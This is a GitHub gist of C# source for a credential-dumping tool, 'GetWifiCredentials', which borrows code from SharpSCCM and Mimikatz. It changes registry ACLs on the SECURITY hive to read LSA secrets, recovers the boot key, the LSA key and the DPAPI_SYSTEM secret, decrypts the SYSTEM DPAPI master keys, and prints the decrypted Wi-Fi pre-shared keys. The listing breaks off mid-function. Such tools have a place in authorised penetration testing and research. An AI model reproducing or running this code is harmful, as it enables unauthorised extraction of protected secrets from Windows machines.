-
-
Save S3cur3Th1sSh1t/bc8a7b1b7972f25bda687a33bd0ebde5 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.IO; | |
using System.Security.Cryptography; | |
using System.Xml; | |
using System.Runtime.InteropServices; | |
using System.Security.Principal; | |
using System.Security.AccessControl; | |
using System.ComponentModel; | |
using System.Text; | |
using Microsoft.Win32; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Text.RegularExpressions; | |
namespace GetWifiCredentials | |
{ | |
class DumpThemAll | |
{ | |
[DllImport("advapi32.dll", CharSet = CharSet.Auto)] | |
public static extern int RegOpenKeyEx( | |
uint hKey, | |
string subKey, | |
int ulOptions, | |
int samDesired, | |
ref IntPtr hkResult | |
); | |
[DllImport("advapi32.dll")] | |
public static extern int RegQueryInfoKey( | |
IntPtr hkey, | |
StringBuilder lpClass, | |
ref int lpcbClass, | |
int lpReserved, | |
ref IntPtr lpcSubKeys, | |
ref IntPtr lpcbMaxSubKeyLen, | |
ref IntPtr lpcbMaxClassLen, | |
ref IntPtr lpcValues, | |
ref IntPtr lpcbMaxValueNameLen, | |
ref IntPtr lpcbMaxValueLen, | |
ref IntPtr lpcbSecurityDescriptor, | |
IntPtr lpftLastWriteTime | |
); | |
[DllImport("advapi32.dll", SetLastError = true)] | |
public static extern int RegCloseKey( | |
IntPtr hKey | |
); | |
[DllImport("advapi32.dll", SetLastError = true)] | |
public static extern int RegQueryValueEx( | |
IntPtr hKey, | |
string lpValueName, | |
int lpReserved, | |
IntPtr type, | |
IntPtr lpData, | |
ref int lpcbData | |
); | |
String[] interfaces; | |
internal DumpThemAll() | |
{ | |
interfaces = Directory.GetDirectories(@"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\"); | |
} | |
internal void GetThem() | |
{ | |
Console.WriteLine("{0,-20} {1,-63}", "SSID", "PSK"); | |
Console.WriteLine("{0,-20} {1,-63}", "----", "---"); | |
XmlDocument doc = new XmlDocument(); | |
foreach (String inter in interfaces) | |
{ | |
String[] files = Directory.GetFiles(inter); | |
foreach (String file in files) | |
{ | |
doc.Load(file); | |
XmlNodeList name = doc.GetElementsByTagName("name"); | |
XmlNodeList keys = doc.GetElementsByTagName("keyMaterial"); | |
foreach (XmlNode key in keys) | |
{ | |
try | |
{ | |
Dictionary<string, string> masterkeys; | |
masterkeys = TriageSystemMasterKeys(false); | |
string decryptedPSK = DPAPIDecrypt(key.InnerText, masterkeys); | |
string[] hexValuesSplit = decryptedPSK.Split(' '); | |
byte[] bytes = new byte[hexValuesSplit.Length]; | |
for (int i = 0; i < hexValuesSplit.Length; i++) | |
{ | |
bytes[i] = Convert.ToByte(hexValuesSplit[i], 16); | |
} | |
string PSKString = Encoding.ASCII.GetString(bytes); | |
Console.WriteLine("{0,-20} {1,-63}", name[0].InnerText, PSKString); | |
} | |
catch | |
{ | |
Console.WriteLine("{0,-20} {1,-63}", name[0].InnerText, "No PSK found"); | |
} | |
} | |
} | |
} | |
} | |
static void Main(string[] args) | |
{ | |
DumpThemAll gwp = new DumpThemAll(); | |
gwp.GetThem(); | |
} | |
public static bool IsHighIntegrity() | |
{ | |
WindowsIdentity identity = WindowsIdentity.GetCurrent(); | |
WindowsPrincipal principal = new WindowsPrincipal(identity); | |
return principal.IsInRole(WindowsBuiltInRole.Administrator); | |
} | |
// The following is a lot of code stolen from SharpSCCM with slight modifications only - https://github.com/Mayyhem/SharpSCCM/ | |
public static string DPAPIDecrypt(string blob, Dictionary<string, string> masterkeys) | |
{ | |
byte[] blobBytes = new byte[blob.Length / 2]; | |
for (int i = 0; i < blob.Length; i += 2) | |
{ | |
blobBytes[i / 2] = Byte.Parse(blob.Substring(i, 2), System.Globalization.NumberStyles.HexNumber); | |
} | |
if (blobBytes.Length > 0) | |
{ | |
byte[] decBytesRaw = DescribeDPAPIBlob(blobBytes, masterkeys); | |
if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) | |
{ | |
if (IsUnicode(decBytesRaw)) | |
{ | |
string data = ""; | |
int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); | |
if (finalIndex > 1) | |
{ | |
byte[] decBytes = new byte[finalIndex + 1]; | |
Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); | |
data = Encoding.Unicode.GetString(decBytes); | |
return data; | |
} | |
else | |
{ | |
data = Encoding.ASCII.GetString(decBytesRaw); | |
return data; | |
} | |
} | |
else | |
{ | |
string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " "); | |
return hexData; | |
} | |
} | |
else | |
{ | |
return null; | |
} | |
} | |
else | |
{ | |
return null; | |
} | |
} | |
public static List<byte[]> GetDPAPIKeys(bool show = false) | |
{ | |
// retrieves the "DPAPI_SYSTEM" LSA secret wuth the GetLSASecret() function, | |
// returning a list of @(machineDPAPI, userDPAPI) | |
// also displays the full and m/u secrets a la Mimikatz | |
List<byte[]> dpapiKeys = new List<byte[]>(); | |
byte[] dpapiKeyFull; | |
dpapiKeyFull = GetLSASecret("DPAPI_SYSTEM"); | |
byte[] dpapiKeyMachine = new byte[20]; | |
byte[] dpapiKeyUser = new byte[20]; | |
Array.Copy(dpapiKeyFull, 0, dpapiKeyMachine, 0, 20); | |
Array.Copy(dpapiKeyFull, 20, dpapiKeyUser, 0, 20); | |
dpapiKeys.Add(dpapiKeyMachine); | |
dpapiKeys.Add(dpapiKeyUser); | |
if (show) | |
{ | |
Console.WriteLine("[+] Secret: DPAPI_SYSTEM"); | |
Console.WriteLine(" full: {0}", BitConverter.ToString(dpapiKeyFull).Replace("-", "")); | |
Console.WriteLine(" m/u: {0} / {1}", BitConverter.ToString(dpapiKeyMachine).Replace("-", ""), BitConverter.ToString(dpapiKeyUser).Replace("-", "")); | |
} | |
return dpapiKeys; | |
} | |
public static byte[] GetLSASecret(string secretName) | |
{ | |
ModifyRegistry(); | |
// get the LSA key needed to secret decryption | |
byte[] LSAKey = GetLSAKey(); | |
string keyPath = String.Format("SECURITY\\Policy\\Secrets\\{0}\\CurrVal", secretName); | |
byte[] keyData = GetRegKeyValue(keyPath); | |
byte[] keyEncryptedData = new byte[keyData.Length - 28]; | |
Array.Copy(keyData, 28, keyEncryptedData, 0, keyEncryptedData.Length); | |
// calculate the temp key by using the LSA key to calculate the Sha256 hash on the first 32 bytes | |
// of the extracted secret data | |
byte[] keyEncryptedDataEncryptedKey = new byte[32]; | |
Array.Copy(keyEncryptedData, 0, keyEncryptedDataEncryptedKey, 0, 32); | |
byte[] tmpKey = LSASHA256Hash(LSAKey, keyEncryptedDataEncryptedKey); | |
// use the temp key to decrypt the rest of the plaintext | |
byte[] keyEncryptedDataRemainder = new byte[keyEncryptedData.Length - 32]; | |
Array.Copy(keyEncryptedData, 32, keyEncryptedDataRemainder, 0, keyEncryptedDataRemainder.Length); | |
byte[] IV = new byte[16]; | |
byte[] keyPathPlaintext = LSAAESDecrypt(tmpKey, keyEncryptedDataRemainder); | |
RevertRegistry(); | |
byte[] secret = new byte[40]; | |
Array.Copy(keyPathPlaintext, 20, secret, 0, 40); | |
return secret; | |
} | |
// Registry keys that require permissions modification | |
static string[] LsaRegKeys = new string[] | |
{ | |
"SECURITY\\Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal\\", | |
"SECURITY\\Policy\\PolEKList" | |
}; | |
static RegistrySecurity originalAcl = new RegistrySecurity(); | |
static RegistrySecurity newAcl = new RegistrySecurity(); // Create a new ACL object to store the modified registry key ACL | |
static RegistryAccessRule newRule; | |
static RegistrySecurity revertedAcl = new RegistrySecurity(); // Create a new ACL object to store the reverted registry key ACL | |
public static void ModifyRegistry() | |
{ | |
string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; // Get current user context | |
foreach (string key in LsaRegKeys) | |
{ | |
//Console.WriteLine("[+] Modifying permissions on registry key: {0}", key); | |
// Backup the current ACL | |
originalAcl = Registry.LocalMachine.OpenSubKey(key, RegistryKeyPermissionCheck.ReadWriteSubTree, System.Security.AccessControl.RegistryRights.ReadPermissions).GetAccessControl(); | |
// Copy the current ACL into a new ACL | |
newAcl = originalAcl; | |
// Create a new rule that grants the current user read permissions on the key | |
newRule = new RegistryAccessRule(currentName, RegistryRights.ReadKey, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow); | |
// Append the new rule to the new ACL | |
newAcl.AddAccessRule(newRule); | |
// Apply the new ACL to the key | |
Registry.LocalMachine.OpenSubKey(key, RegistryKeyPermissionCheck.ReadWriteSubTree, System.Security.AccessControl.RegistryRights.ChangePermissions).SetAccessControl(newAcl); | |
} | |
} | |
public static void RevertRegistry() | |
{ | |
string currentName = System.Security.Principal.WindowsIdentity.GetCurrent().Name; // Get current user context | |
foreach (string key in LsaRegKeys) | |
{ | |
//Console.WriteLine("[+] Reverting permissions on registry key: {0}", key); | |
revertedAcl = newAcl; | |
newRule = new RegistryAccessRule(currentName, RegistryRights.ReadKey, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow); | |
revertedAcl.RemoveAccessRule(newRule); | |
Registry.LocalMachine.OpenSubKey(key, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.ChangePermissions).SetAccessControl(revertedAcl); | |
} | |
} | |
public static byte[] GetLSAKey() | |
{ | |
// retrieves the boot key (syskey) and uses it to retrieve the key used to encrypt LSA secrets | |
byte[] bootkey = GetBootKey(); | |
byte[] LSAKeyEncryptedStruct = GetRegKeyValue(@"SECURITY\Policy\PolEKList"); | |
byte[] LSAEncryptedData = new byte[LSAKeyEncryptedStruct.Length - 28]; | |
Array.Copy(LSAKeyEncryptedStruct, 28, LSAEncryptedData, 0, LSAEncryptedData.Length); | |
// calculate the temp key by using the boot key to calculate the Sha256 hash on the first 32 bytes | |
// of the LSA key data | |
byte[] LSAEncryptedDataEncryptedKey = new byte[32]; | |
Array.Copy(LSAEncryptedData, 0, LSAEncryptedDataEncryptedKey, 0, 32); | |
byte[] tmpKey = LSASHA256Hash(bootkey, LSAEncryptedDataEncryptedKey); | |
// use the temp key to decrypt the rest of the LSA struct | |
byte[] LSAEncryptedDataRemainder = new byte[LSAEncryptedData.Length - 32]; | |
Array.Copy(LSAEncryptedData, 32, LSAEncryptedDataRemainder, 0, LSAEncryptedDataRemainder.Length); | |
byte[] IV = new byte[16]; | |
byte[] LSAKeyStructPlaintext = LSAAESDecrypt(tmpKey, LSAEncryptedDataRemainder); | |
byte[] LSAKey = new byte[32]; | |
Array.Copy(LSAKeyStructPlaintext, 68, LSAKey, 0, 32); | |
return LSAKey; | |
} | |
public static byte[] GetBootKey() | |
{ | |
// returns the system boot key (aka syskey) that's later used to calculate the LSA key | |
StringBuilder scrambledKey = new StringBuilder(); | |
foreach (string key in new string[] { "JD", "Skew1", "GBG", "Data" }) | |
{ | |
string keyPath = String.Format("SYSTEM\\CurrentControlSet\\Control\\Lsa\\{0}", key); | |
StringBuilder classVal = new StringBuilder(1024); | |
int len = 1024; | |
int result = 0; | |
IntPtr hKey = IntPtr.Zero; | |
IntPtr dummy = IntPtr.Zero; | |
// open the specified key with read (0x19) privileges | |
// 0x80000002 == HKLM | |
result = RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey); | |
if (result != 0) | |
{ | |
int error = Marshal.GetLastWin32Error(); | |
string errorMessage = new Win32Exception((int)error).Message; | |
Console.WriteLine("[!] Error opening {0} ({1}) : {2}", keyPath, error, errorMessage); | |
return null; | |
} | |
result = RegQueryInfoKey(hKey, classVal, ref len, 0, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, IntPtr.Zero); | |
if (result != 0) | |
{ | |
int error = Marshal.GetLastWin32Error(); | |
string errorMessage = new Win32Exception((int)error).Message; | |
Console.WriteLine("[!] Error enumerating {0} ({1}) : {2}", keyPath, error, errorMessage); | |
return null; | |
} | |
RegCloseKey(hKey); | |
scrambledKey.Append(classVal); | |
} | |
// reference: https://github.com/brandonprry/gray_hat_csharp_code/blob/e1d5fc2a497ae443225d840718adde836ffaeefe/ch14_reading_offline_hives/Program.cs#L74-L82 | |
byte[] skey = StringToByteArray(scrambledKey.ToString()); | |
byte[] descramble = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, | |
0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 }; | |
byte[] bootkey = new byte[16]; | |
for (int i = 0; i < bootkey.Length; i++) | |
bootkey[i] = skey[descramble[i]]; | |
return bootkey; | |
} | |
public static byte[] LSASHA256Hash(byte[] key, byte[] rawData) | |
{ | |
// yay | |
using (var sha256Hash = SHA256.Create()) | |
{ | |
var buffer = new byte[key.Length + (rawData.Length * 1000)]; | |
Array.Copy(key, 0, buffer, 0, key.Length); | |
for (var i = 0; i < 1000; ++i) | |
{ | |
Array.Copy(rawData, 0, buffer, key.Length + (i * rawData.Length), rawData.Length); | |
} | |
return sha256Hash.ComputeHash(buffer); | |
} | |
} | |
public static Dictionary<string, string> TriageSystemMasterKeys(bool show) | |
{ | |
// retrieve the DPAPI_SYSTEM key and use it to decrypt any SYSTEM DPAPI masterkeys | |
var mappings = new Dictionary<string, string>(); | |
if (IsHighIntegrity()) | |
{ | |
// get the system and user DPAPI backup keys, showing the machine DPAPI keys | |
// { machine , user } | |
var keys = GetDPAPIKeys(false); | |
string systemFolder = ""; | |
if (!Environment.Is64BitProcess) | |
{ | |
systemFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Windows\\Sysnative\\Microsoft\\Protect\\"; | |
} | |
else | |
{ | |
systemFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Windows\\System32\\Microsoft\\Protect\\"; | |
} | |
if (Directory.Exists(systemFolder)) | |
{ | |
try | |
{ | |
string[] systemDirs = Directory.GetDirectories(systemFolder); | |
foreach (var directory in systemDirs) | |
{ | |
var machineFiles = Directory.GetFiles(directory); | |
var userFiles = new string[0]; | |
if (Directory.Exists($"{directory}\\User\\")) | |
{ | |
userFiles = Directory.GetFiles($"{directory}\\User\\"); | |
} | |
foreach (var file in machineFiles) | |
{ | |
if (!Regex.IsMatch(file, | |
@".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) | |
continue; | |
var masteyKeyBytes = File.ReadAllBytes(file); | |
try | |
{ | |
// use the "machine" DPAPI key | |
var plaintextMasterkey = DecryptMasterKeyWithSha(masteyKeyBytes, keys[0]); | |
mappings.Add(plaintextMasterkey.Key, plaintextMasterkey.Value); | |
} | |
catch (Exception ex) | |
{ | |
Console.WriteLine("[!] Error triaging {0} : {1}", file, ex.Message); | |
} | |
} | |
foreach (var file in userFiles) | |
{ | |
if (!Regex.IsMatch(file, | |
@".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) | |
continue; | |
var masteyKeyBytes = File.ReadAllBytes(file); | |
try | |
{ | |
// use the "user" DPAPI key | |
var plaintextMasterKey = DecryptMasterKeyWithSha(masteyKeyBytes, keys[1]); | |
mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); | |
} | |
catch (Exception ex) | |
{ | |
Console.WriteLine("[!] Error triaging {0} : {1}", file, ex.Message); | |
} | |
} | |
} | |
if (show) | |
{ | |
Console.WriteLine("\r\n[+] SYSTEM master key cache:"); | |
foreach (KeyValuePair<string, string> kvp in mappings) | |
{ | |
Console.WriteLine(" {0}:{1}", kvp.Key, kvp.Value); | |
} | |
} | |
} | |
catch (Exception) | |
{ | |
} | |
} | |
} | |
else | |
{ | |
Console.WriteLine("\r\n[!] Must be elevated to triage SYSTEM masterkeys!\r\n"); | |
} | |
return mappings; | |
} | |
public static KeyValuePair<string, string> DecryptMasterKeyWithSha(byte[] masterKeyBytes, byte[] shaBytes) | |
{ | |
// takes masterkey bytes and SYSTEM_DPAPI masterkey sha bytes, returns a dictionary of guid:sha1 masterkey mappings | |
var guidMasterKey = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}"; | |
var mkBytes = GetMasterKey(masterKeyBytes); | |
var offset = 4; | |
var salt = new byte[16]; | |
Array.Copy(mkBytes, 4, salt, 0, 16); | |
offset += 16; | |
var rounds = BitConverter.ToInt32(mkBytes, offset); | |
offset += 4; | |
var algHash = BitConverter.ToInt32(mkBytes, offset); | |
offset += 4; | |
var algCrypt = BitConverter.ToInt32(mkBytes, offset); | |
offset += 4; | |
var encData = new byte[mkBytes.Length - offset]; | |
Array.Copy(mkBytes, offset, encData, 0, encData.Length); | |
var derivedPreKey = DerivePreKey(shaBytes, algHash, salt, rounds); | |
switch (algCrypt) | |
{ | |
// CALG_AES_256 == 26128 , CALG_SHA_512 == 32782 | |
case 26128 when (algHash == 32782): | |
{ | |
var masterKeySha1 = DecryptAes256HmacSha512(shaBytes, derivedPreKey, encData); | |
var masterKeyStr = BitConverter.ToString(masterKeySha1).Replace("-", ""); | |
return new KeyValuePair<string, string>(guidMasterKey, masterKeyStr); | |
} | |
// Support for 32777(CALG_HMAC) / 26115(CALG_3DES) | |
case 26115 when (algHash == 32777 || algHash == 32772): | |
{ | |
var masterKeySha1 = DecryptTripleDESHmac(derivedPreKey, encData); | |
var masterKeyStr = BitConverter.ToString(masterKeySha1).Replace("-", ""); | |
return new KeyValuePair<string, string>(guidMasterKey, masterKeyStr); | |
} | |
default: | |
throw new Exception($"Alg crypt '{algCrypt} / 0x{algCrypt:X8}' not currently supported!"); | |
} | |
} | |
private static byte[] DecryptTripleDESHmac(byte[] final, byte[] encData) | |
{ | |
var desCryptoProvider = new TripleDESCryptoServiceProvider(); | |
var ivBytes = new byte[8]; | |
var key = new byte[24]; | |
Array.Copy(final, 24, ivBytes, 0, 8); | |
Array.Copy(final, 0, key, 0, 24); | |
desCryptoProvider.Key = key; | |
desCryptoProvider.IV = ivBytes; | |
desCryptoProvider.Mode = CipherMode.CBC; | |
desCryptoProvider.Padding = PaddingMode.Zeros; | |
var plaintextBytes = desCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length); | |
var decryptedkey = new byte[64]; | |
Array.Copy(plaintextBytes, 40, decryptedkey, 0, 64); | |
using (var sha1 = new SHA1Managed()) | |
{ | |
var masterKeySha1 = sha1.ComputeHash(decryptedkey); | |
return masterKeySha1; | |
} | |
} | |
public static byte[] GetMasterKey(byte[] masterKeyBytes) | |
{ | |
// helper to extract domain masterkey subbytes from a master key blob | |
var offset = 96; | |
var masterKeyLen = BitConverter.ToInt64(masterKeyBytes, offset); | |
offset += 4 * 8; // skip the key length headers | |
var masterKeySubBytes = new byte[masterKeyLen]; | |
Array.Copy(masterKeyBytes, offset, masterKeySubBytes, 0, masterKeyLen); | |
return masterKeySubBytes; | |
} | |
private static byte[] DerivePreKey(byte[] shaBytes, int algHash, byte[] salt, int rounds) | |
{ | |
byte[] derivedPreKey; | |
switch (algHash) | |
{ | |
// CALG_SHA_512 == 32782 | |
case 32782: | |
{ | |
// derive the "Pbkdf2/SHA512" key for the masterkey, using MS' silliness | |
using (var hmac = new HMACSHA512()) | |
{ | |
var df = new Pbkdf2(hmac, shaBytes, salt, rounds); | |
derivedPreKey = df.GetBytes(48); | |
} | |
break; | |
} | |
case 32777: | |
{ | |
// derive the "Pbkdf2/SHA1" key for the masterkey, using MS' silliness | |
using (var hmac = new HMACSHA1()) | |
{ | |
var df = new Pbkdf2(hmac, shaBytes, salt, rounds); | |
derivedPreKey = df.GetBytes(32); | |
} | |
break; | |
} | |
default: | |
throw new Exception($"alg hash '{algHash} / 0x{algHash:X8}' not currently supported!"); | |
} | |
return derivedPreKey; | |
} | |
private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] final, byte[] encData) | |
{ | |
var HMACLen = (new HMACSHA512()).HashSize / 8; | |
var aesCryptoProvider = new AesManaged(); | |
var ivBytes = new byte[16]; | |
Array.Copy(final, 32, ivBytes, 0, 16); | |
var key = new byte[32]; | |
Array.Copy(final, 0, key, 0, 32); | |
aesCryptoProvider.Key = key; | |
aesCryptoProvider.IV = ivBytes; | |
aesCryptoProvider.Mode = CipherMode.CBC; | |
aesCryptoProvider.Padding = PaddingMode.Zeros; | |
// decrypt the encrypted data using the Pbkdf2-derived key | |
var plaintextBytes = aesCryptoProvider.CreateDecryptor().TransformFinalBlock(encData, 0, encData.Length); | |
var outLen = plaintextBytes.Length; | |
var outputLen = outLen - 16 - HMACLen; | |
var masterKeyFull = new byte[HMACLen]; | |
// outLen - outputLen == 80 in this case | |
Array.Copy(plaintextBytes, outLen - outputLen, masterKeyFull, 0, masterKeyFull.Length); | |
using (var sha1 = new SHA1Managed()) | |
{ | |
var masterKeySha1 = sha1.ComputeHash(masterKeyFull); | |
// we're HMAC'ing the first 16 bytes of the decrypted buffer with the shaBytes as the key | |
var plaintextCryptBuffer = new byte[16]; | |
Array.Copy(plaintextBytes, plaintextCryptBuffer, 16); | |
var hmac1 = new HMACSHA512(shaBytes); | |
var round1Hmac = hmac1.ComputeHash(plaintextCryptBuffer); | |
// round 2 | |
var round2buffer = new byte[outputLen]; | |
Array.Copy(plaintextBytes, outLen - outputLen, round2buffer, 0, outputLen); | |
var hmac2 = new HMACSHA512(round1Hmac); | |
var round2Hmac = hmac2.ComputeHash(round2buffer); | |
// compare the second HMAC value to the original plaintextBytes, starting at index 16 | |
var comparison = new byte[64]; | |
Array.Copy(plaintextBytes, 16, comparison, 0, comparison.Length); | |
if (comparison.SequenceEqual(round2Hmac)) | |
{ | |
return masterKeySha1; | |
} | |
throw new Exception("HMAC integrity check failed!"); | |
} | |
} | |
public static byte[] LSAAESDecrypt(byte[] key, byte[] data) | |
{ | |
var aesCryptoProvider = new AesManaged(); | |
aesCryptoProvider.Key = key; | |
aesCryptoProvider.IV = new byte[16]; | |
aesCryptoProvider.Mode = CipherMode.CBC; | |
aesCryptoProvider.BlockSize = 128; | |
aesCryptoProvider.Padding = PaddingMode.Zeros; | |
var transform = aesCryptoProvider.CreateDecryptor(); | |
var chunks = Decimal.ToInt32(Math.Ceiling((decimal)data.Length / (decimal)16)); | |
var plaintext = new byte[chunks * 16]; | |
for (var i = 0; i < chunks; ++i) | |
{ | |
var offset = i * 16; | |
var chunk = new byte[16]; | |
Array.Copy(data, offset, chunk, 0, 16); | |
var chunkPlaintextBytes = transform.TransformFinalBlock(chunk, 0, chunk.Length); | |
Array.Copy(chunkPlaintextBytes, 0, plaintext, i * 16, 16); | |
} | |
return plaintext; | |
} | |
public static byte[] DescribeDPAPIBlob(byte[] blobBytes, Dictionary<string, string> MasterKeys) | |
{ | |
// Parses a DPAPI blob returning the decrypted plaintext | |
var offset = 24; // Set to 24 since we're only working with 'blob' blobType | |
var guidMasterKeyBytes = new byte[16]; | |
Array.Copy(blobBytes, offset, guidMasterKeyBytes, 0, 16); | |
var guidMasterKey = new Guid(guidMasterKeyBytes); | |
var guidString = $"{{{guidMasterKey}}}"; | |
//Console.WriteLine(" guidMasterKey : {0}", guidString); | |
offset += 16; | |
//Console.WriteLine(" size : {0}", blobBytes.Length); | |
var flags = BitConverter.ToUInt32(blobBytes, offset); | |
offset += 4; | |
//Console.WriteLine(" flags : 0x{0}", flags.ToString("X")); | |
if ((flags != 0) && ((flags & 0x20000000) == flags)) | |
{ | |
//Console.Write(" (CRYPTPROTECT_SYSTEM)"); | |
} | |
//Console.WriteLine(); | |
var descLength = BitConverter.ToInt32(blobBytes, offset); | |
offset += 4; | |
var description = Encoding.Unicode.GetString(blobBytes, offset, descLength); | |
offset += descLength; | |
var algCrypt = BitConverter.ToInt32(blobBytes, offset); | |
offset += 4; | |
var algCryptLen = BitConverter.ToInt32(blobBytes, offset); | |
offset += 4; | |
var saltLen = BitConverter.ToInt32(blobBytes, offset); | |
offset += 4; | |
var saltBytes = new byte[saltLen]; | |
Array.Copy(blobBytes, offset, saltBytes, 0, saltLen); | |
offset += saltLen; | |
var hmacKeyLen = BitConverter.ToInt32(blobBytes, offset); | |
offset += 4 + hmacKeyLen; | |
var alghash = BitConverter.ToInt32(blobBytes, offset); | |
offset += 4; | |
var algHashLen = BitConverter.ToInt32(blobBytes, offset); | |
offset += 4; | |
var hmac2KeyLen = BitConverter.ToInt32(blobBytes, offset); | |
offset += 4 + hmac2KeyLen; | |
var dataLen = BitConverter.ToInt32(blobBytes, offset); | |
offset += 4; | |
var dataBytes = new byte[dataLen]; | |
Array.Copy(blobBytes, offset, dataBytes, 0, dataLen); | |
if (MasterKeys.ContainsKey(guidString)) | |
{ | |
// if this key is present, decrypt this blob | |
if (alghash == 32782) | |
{ | |
// grab the sha1(masterkey) from the cache | |
try | |
{ | |
var keyBytes = StringToByteArray(MasterKeys[guidString].ToString()); | |
// derive the session key | |
var derivedKeyBytes = DeriveKey(keyBytes, saltBytes, alghash); | |
var finalKeyBytes = new byte[algCryptLen / 8]; | |
Array.Copy(derivedKeyBytes, finalKeyBytes, algCryptLen / 8); | |
return DecryptBlob(dataBytes, finalKeyBytes, algCrypt); | |
} | |
catch (Exception ex) | |
{ | |
Console.WriteLine(" [!] Error retrieving GUID:SHA1 from cache {0} : {1}", guidString, ex.Message); | |
} | |
} | |
} | |
return new byte[0]; //temp | |
} | |
public static byte[] DecryptBlob(byte[] ciphertext, byte[] key, int algCrypt, PaddingMode padding = PaddingMode.Zeros) | |
{ | |
// decrypts a DPAPI blob using 3DES or AES | |
// reference: https://docs.microsoft.com/en-us/windows/desktop/seccrypto/alg-id | |
switch (algCrypt) | |
{ | |
case 26115: // 26115 == CALG_3DES | |
{ | |
// takes a byte array of ciphertext bytes and a key array, decrypt the blob with 3DES | |
var desCryptoProvider = new TripleDESCryptoServiceProvider(); | |
var ivBytes = new byte[8]; | |
desCryptoProvider.Key = key; | |
desCryptoProvider.IV = ivBytes; | |
desCryptoProvider.Mode = CipherMode.CBC; | |
desCryptoProvider.Padding = padding; | |
try | |
{ | |
var plaintextBytes = desCryptoProvider.CreateDecryptor() | |
.TransformFinalBlock(ciphertext, 0, ciphertext.Length); | |
return plaintextBytes; | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine("[x] An exception occured: {0}", e); | |
} | |
return new byte[0]; | |
} | |
case 26128: // 26128 == CALG_AES_256 | |
{ | |
// takes a byte array of ciphertext bytes and a key array, decrypt the blob with AES256 | |
var aesCryptoProvider = new AesManaged(); | |
var ivBytes = new byte[16]; | |
aesCryptoProvider.Key = key; | |
aesCryptoProvider.IV = ivBytes; | |
aesCryptoProvider.Mode = CipherMode.CBC; | |
aesCryptoProvider.Padding = padding; | |
var plaintextBytes = aesCryptoProvider.CreateDecryptor() | |
.TransformFinalBlock(ciphertext, 0, ciphertext.Length); | |
return plaintextBytes; | |
} | |
default: | |
throw new Exception($"Could not decrypt blob. Unsupported algorithm: {algCrypt}"); | |
} | |
} | |
public static byte[] DeriveKey(byte[] keyBytes, byte[] saltBytes, int algHash, byte[] entropy = null) | |
{ | |
// derives a dpapi session key using Microsoft crypto "magic" | |
//Console.WriteLine("[*] key : {0}", BitConverter.ToString(keyBytes).Replace("-", "")); | |
//Console.WriteLine("[*] saltBytes : {0}", BitConverter.ToString(saltBytes).Replace("-", "")); | |
//Console.WriteLine("[*] entropy : {0}", BitConverter.ToString(entropy).Replace("-", "")); | |
//Console.WriteLine("[*] algHash : {0}", algHash); | |
if (algHash == 32782) | |
{ | |
// calculate the session key -> HMAC(salt) where the sha1(masterkey) is the key | |
// 32782 == CALG_SHA_512 | |
// https://github.com/gentilkiwi/mimikatz/blob/fa42ed93aa4d5aa73825295e2ab757ac96005581/modules/kull_m_dpapi.c#L500 | |
if (entropy != null) | |
{ | |
return HMACSha512(keyBytes, Combine(saltBytes, entropy)); | |
} | |
else | |
{ | |
return HMACSha512(keyBytes, saltBytes); | |
} | |
} | |
else if (algHash == 32772) | |
{ | |
// 32772 == CALG_SHA1 | |
var ipad = new byte[64]; | |
var opad = new byte[64]; | |
// "...wut" - anyone reading Microsoft crypto | |
for (var i = 0; i < 64; i++) | |
{ | |
ipad[i] = Convert.ToByte('6'); | |
opad[i] = Convert.ToByte('\\'); | |
} | |
for (var i = 0; i < keyBytes.Length; i++) | |
{ | |
ipad[i] ^= keyBytes[i]; | |
opad[i] ^= keyBytes[i]; | |
} | |
byte[] bufferI = Combine(ipad, saltBytes); | |
using (var sha1 = new SHA1Managed()) | |
{ | |
var sha1BufferI = sha1.ComputeHash(bufferI); | |
byte[] bufferO = Combine(opad, sha1BufferI); | |
if (entropy != null) | |
{ | |
bufferO = Combine(bufferO, entropy); | |
} | |
var sha1Buffer0 = sha1.ComputeHash(bufferO); | |
return DeriveKeyRaw(sha1Buffer0, algHash); | |
} | |
} | |
else | |
{ | |
return new byte[0]; | |
} | |
} | |
// adapted from https://github.com/gentilkiwi/mimikatz/blob/fa42ed93aa4d5aa73825295e2ab757ac96005581/modules/kull_m_crypto.c#L79-L101 | |
public static byte[] DeriveKeyRaw(byte[] hashBytes, int algHash) | |
{ | |
var ipad = new byte[64]; | |
var opad = new byte[64]; | |
// "...wut" - anyone reading Microsoft crypto | |
for (var i = 0; i < 64; i++) | |
{ | |
ipad[i] = Convert.ToByte('6'); | |
opad[i] = Convert.ToByte('\\'); | |
} | |
for (var i = 0; i < hashBytes.Length; i++) | |
{ | |
ipad[i] ^= hashBytes[i]; | |
opad[i] ^= hashBytes[i]; | |
} | |
if (algHash == 32772) | |
{ | |
using (var sha1 = new SHA1Managed()) | |
{ | |
var ipadSHA1bytes = sha1.ComputeHash(ipad); | |
